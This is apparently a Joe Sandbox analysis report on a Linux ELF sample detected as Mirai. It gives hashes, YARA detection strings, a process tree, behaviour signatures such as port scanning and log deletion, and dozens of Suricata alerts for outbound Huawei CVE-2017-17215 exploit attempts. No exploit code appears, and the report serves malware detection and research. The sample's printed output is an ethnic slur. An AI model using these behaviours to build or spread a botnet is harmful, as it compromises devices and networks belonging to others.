Edit tour

Linux Analysis Report
WIwTo1UTMq.elf

Overview

General Information

Sample name:	WIwTo1UTMq.elf renamed because original name is a hash value
Original sample name:	88e66d3ffdb78ac36dec93f81f898ad1.elf
Analysis ID:	1483124
MD5:	88e66d3ffdb78ac36dec93f81f898ad1
SHA1:	70383254c1f54b1401ba28ca982cc08b8a8f8cc5
SHA256:	023a49b27d0b741a27487cc730e2289da4170336dc2c106db22e8fa3864d3c02
Tags:	32armelfgafgyt
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Deletes system log files

Manipulation of devices in /dev

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483124
Start date and time:	2024-07-26 17:41:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	WIwTo1UTMq.elf renamed because original name is a hash value
Original Sample Name:	88e66d3ffdb78ac36dec93f81f898ad1.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@73/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: WIwTo1UTMq.elf

Runtime Messages

Command:	/tmp/WIwTo1UTMq.elf
PID:	5525
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

WIwTo1UTMq.elf (PID: 5525, Parent: 5451, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/WIwTo1UTMq.elf

WIwTo1UTMq.elf New Fork (PID: 5527, Parent: 5525)

WIwTo1UTMq.elf New Fork (PID: 5529, Parent: 5527)

WIwTo1UTMq.elf New Fork (PID: 5531, Parent: 5527)

WIwTo1UTMq.elf New Fork (PID: 5532, Parent: 5527)

WIwTo1UTMq.elf New Fork (PID: 5534, Parent: 5527)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
WIwTo1UTMq.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
WIwTo1UTMq.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
WIwTo1UTMq.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
WIwTo1UTMq.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
WIwTo1UTMq.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x16374:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
WIwTo1UTMq.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1631c:$x2: /dev/misc/watchdog 0x1630c:$x3: /dev/watchdog 0x16380:$s5: HWCLVGAJ
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x16374:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1631c:$x2: /dev/misc/watchdog 0x1630c:$x3: /dev/watchdog 0x16380:$s5: HWCLVGAJ
Process Memory Space: WIwTo1UTMq.elf PID: 5525	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.77.213

Timestamp:	2024-07-26T17:42:38.606153+0200
SID:	2835222
Source Port:	38136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.114.251.28

Timestamp:	2024-07-26T17:42:23.034146+0200
SID:	2835222
Source Port:	46624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.97.126

Timestamp:	2024-07-26T17:42:22.964048+0200
SID:	2835222
Source Port:	42956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.46.253

Timestamp:	2024-07-26T17:42:24.652743+0200
SID:	2835222
Source Port:	55216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.172.148.101

Timestamp:	2024-07-26T17:43:24.644108+0200
SID:	2835222
Source Port:	40454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.253.80.54

Timestamp:	2024-07-26T17:42:38.401570+0200
SID:	2835222
Source Port:	58766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.96.243.165

Timestamp:	2024-07-26T17:43:10.649976+0200
SID:	2835222
Source Port:	43250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.42.62.225

Timestamp:	2024-07-26T17:42:03.752068+0200
SID:	2835222
Source Port:	40996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.132.136.99

Timestamp:	2024-07-26T17:42:23.602358+0200
SID:	2835222
Source Port:	60884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.119.244

Timestamp:	2024-07-26T17:43:10.506478+0200
SID:	2835222
Source Port:	42294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.34.24.153

Timestamp:	2024-07-26T17:42:24.200167+0200
SID:	2835222
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 200.204.65.34

Timestamp:	2024-07-26T17:42:30.926428+0200
SID:	2835222
Source Port:	51110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.198.230.178

Timestamp:	2024-07-26T17:42:22.988608+0200
SID:	2835222
Source Port:	58670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.114.18.67

Timestamp:	2024-07-26T17:42:23.602102+0200
SID:	2835222
Source Port:	35256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.121.140.141

Timestamp:	2024-07-26T17:42:09.449482+0200
SID:	2835222
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 52.4.140.64

Timestamp:	2024-07-26T17:42:24.221999+0200
SID:	2835222
Source Port:	56024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 1.148.239.73

Timestamp:	2024-07-26T17:42:23.326651+0200
SID:	2835222
Source Port:	55986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.38.74

Timestamp:	2024-07-26T17:43:26.476272+0200
SID:	2835222
Source Port:	59712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.208.245.162

Timestamp:	2024-07-26T17:43:04.748495+0200
SID:	2835222
Source Port:	40296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 187.2.62.124

Timestamp:	2024-07-26T17:42:24.475233+0200
SID:	2835222
Source Port:	35542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.40.22

Timestamp:	2024-07-26T17:42:22.966091+0200
SID:	2835222
Source Port:	45270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.234.54.178

Timestamp:	2024-07-26T17:43:19.129689+0200
SID:	2835222
Source Port:	33088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.100.204.20

Timestamp:	2024-07-26T17:43:32.301159+0200
SID:	2835222
Source Port:	33010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 71.89.91.135

Timestamp:	2024-07-26T17:43:34.899760+0200
SID:	2835222
Source Port:	45998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.26.243

Timestamp:	2024-07-26T17:42:33.042545+0200
SID:	2835222
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.77.196.3

Timestamp:	2024-07-26T17:43:00.662098+0200
SID:	2835222
Source Port:	42984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.225.190.134

Timestamp:	2024-07-26T17:42:23.204533+0200
SID:	2835222
Source Port:	60956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.108.36.195

Timestamp:	2024-07-26T17:42:03.751984+0200
SID:	2835222
Source Port:	48768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.70.219.127

Timestamp:	2024-07-26T17:42:23.105182+0200
SID:	2835222
Source Port:	59276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 223.164.117.74

Timestamp:	2024-07-26T17:42:24.293761+0200
SID:	2835222
Source Port:	42424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.47.175.40

Timestamp:	2024-07-26T17:42:22.977903+0200
SID:	2835222
Source Port:	58488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.74.117

Timestamp:	2024-07-26T17:42:45.131370+0200
SID:	2835222
Source Port:	37840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.79.31.23

Timestamp:	2024-07-26T17:42:24.474935+0200
SID:	2835222
Source Port:	49618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.34.178

Timestamp:	2024-07-26T17:42:44.306039+0200
SID:	2835222
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.145.67.197

Timestamp:	2024-07-26T17:42:38.390099+0200
SID:	2835222
Source Port:	40364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.247.1.77

Timestamp:	2024-07-26T17:42:58.924546+0200
SID:	2835222
Source Port:	42158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.248.56.111

Timestamp:	2024-07-26T17:42:53.132234+0200
SID:	2835222
Source Port:	44386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.242.49.62

Timestamp:	2024-07-26T17:43:04.732612+0200
SID:	2835222
Source Port:	43966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.150.32.89

Timestamp:	2024-07-26T17:42:24.256365+0200
SID:	2835222
Source Port:	52438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.197.157.202

Timestamp:	2024-07-26T17:43:10.504004+0200
SID:	2835222
Source Port:	46722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.191.236.68

Timestamp:	2024-07-26T17:42:54.163417+0200
SID:	2835222
Source Port:	32780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.233.107.214

Timestamp:	2024-07-26T17:42:27.004016+0200
SID:	2835222
Source Port:	58502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.113.28.145

Timestamp:	2024-07-26T17:42:22.846531+0200
SID:	2835222
Source Port:	50092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.4.180.184

Timestamp:	2024-07-26T17:42:38.374536+0200
SID:	2835222
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.220.2.67

Timestamp:	2024-07-26T17:42:07.666081+0200
SID:	2835222
Source Port:	47732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.100.167

Timestamp:	2024-07-26T17:42:24.173602+0200
SID:	2835222
Source Port:	40758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.194.119.143

Timestamp:	2024-07-26T17:42:24.474723+0200
SID:	2835222
Source Port:	35754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.108.106.69

Timestamp:	2024-07-26T17:43:00.630205+0200
SID:	2835222
Source Port:	33072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.154.246.111

Timestamp:	2024-07-26T17:43:02.573716+0200
SID:	2835222
Source Port:	54620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.52.106.58

Timestamp:	2024-07-26T17:43:32.169236+0200
SID:	2835222
Source Port:	39342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.167.52

Timestamp:	2024-07-26T17:43:10.690145+0200
SID:	2835222
Source Port:	36816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.17.40.71

Timestamp:	2024-07-26T17:42:03.751852+0200
SID:	2835222
Source Port:	51664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.9.226

Timestamp:	2024-07-26T17:42:22.901285+0200
SID:	2835222
Source Port:	41604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.213.22.193

Timestamp:	2024-07-26T17:43:00.561044+0200
SID:	2835222
Source Port:	57554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.99.246

Timestamp:	2024-07-26T17:43:32.160228+0200
SID:	2835222
Source Port:	55488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 175.131.176.14

Timestamp:	2024-07-26T17:42:33.008864+0200
SID:	2835222
Source Port:	39524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.153.156.251

Timestamp:	2024-07-26T17:43:34.312161+0200
SID:	2835222
Source Port:	38930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.149.180.3

Timestamp:	2024-07-26T17:42:19.315465+0200
SID:	2835222
Source Port:	50864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.156.173.119

Timestamp:	2024-07-26T17:43:04.642054+0200
SID:	2835222
Source Port:	48604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.147.129

Timestamp:	2024-07-26T17:42:23.034149+0200
SID:	2835222
Source Port:	37412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 38.110.93.103

Timestamp:	2024-07-26T17:42:24.287275+0200
SID:	2835222
Source Port:	60618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 60.31.131.14

Timestamp:	2024-07-26T17:42:46.396192+0200
SID:	2835222
Source Port:	34504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.95.126.83

Timestamp:	2024-07-26T17:43:00.567662+0200
SID:	2835222
Source Port:	57910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.139.180

Timestamp:	2024-07-26T17:42:22.937307+0200
SID:	2835222
Source Port:	41060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.244.230.30

Timestamp:	2024-07-26T17:42:35.406784+0200
SID:	2835222
Source Port:	33718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.191.156.69

Timestamp:	2024-07-26T17:42:03.752024+0200
SID:	2835222
Source Port:	46796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.132.121

Timestamp:	2024-07-26T17:43:32.177733+0200
SID:	2835222
Source Port:	60384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.123.227.88

Timestamp:	2024-07-26T17:42:23.000803+0200
SID:	2835222
Source Port:	35146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.64.173.32

Timestamp:	2024-07-26T17:42:24.208270+0200
SID:	2835222
Source Port:	43150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.141.168.114

Timestamp:	2024-07-26T17:42:24.313201+0200
SID:	2835222
Source Port:	46342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.65.6.235

Timestamp:	2024-07-26T17:42:56.300032+0200
SID:	2835222
Source Port:	56566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.62.161.142

Timestamp:	2024-07-26T17:42:42.068020+0200
SID:	2835222
Source Port:	60248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 36.6.249.246

Timestamp:	2024-07-26T17:43:02.583024+0200
SID:	2835222
Source Port:	38974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.6.23

Timestamp:	2024-07-26T17:43:10.506477+0200
SID:	2835222
Source Port:	43612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.85.255

Timestamp:	2024-07-26T17:42:48.050350+0200
SID:	2835222
Source Port:	56112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.126.134

Timestamp:	2024-07-26T17:43:10.504855+0200
SID:	2835222
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.199.209

Timestamp:	2024-07-26T17:42:40.525022+0200
SID:	2835222
Source Port:	43882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.79.95.86

Timestamp:	2024-07-26T17:42:05.370024+0200
SID:	2835222
Source Port:	47970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.113.87.213

Timestamp:	2024-07-26T17:42:22.851139+0200
SID:	2835222
Source Port:	45972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.19.62.113

Timestamp:	2024-07-26T17:42:22.852370+0200
SID:	2835222
Source Port:	45884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.96.107.38

Timestamp:	2024-07-26T17:42:22.895905+0200
SID:	2835222
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
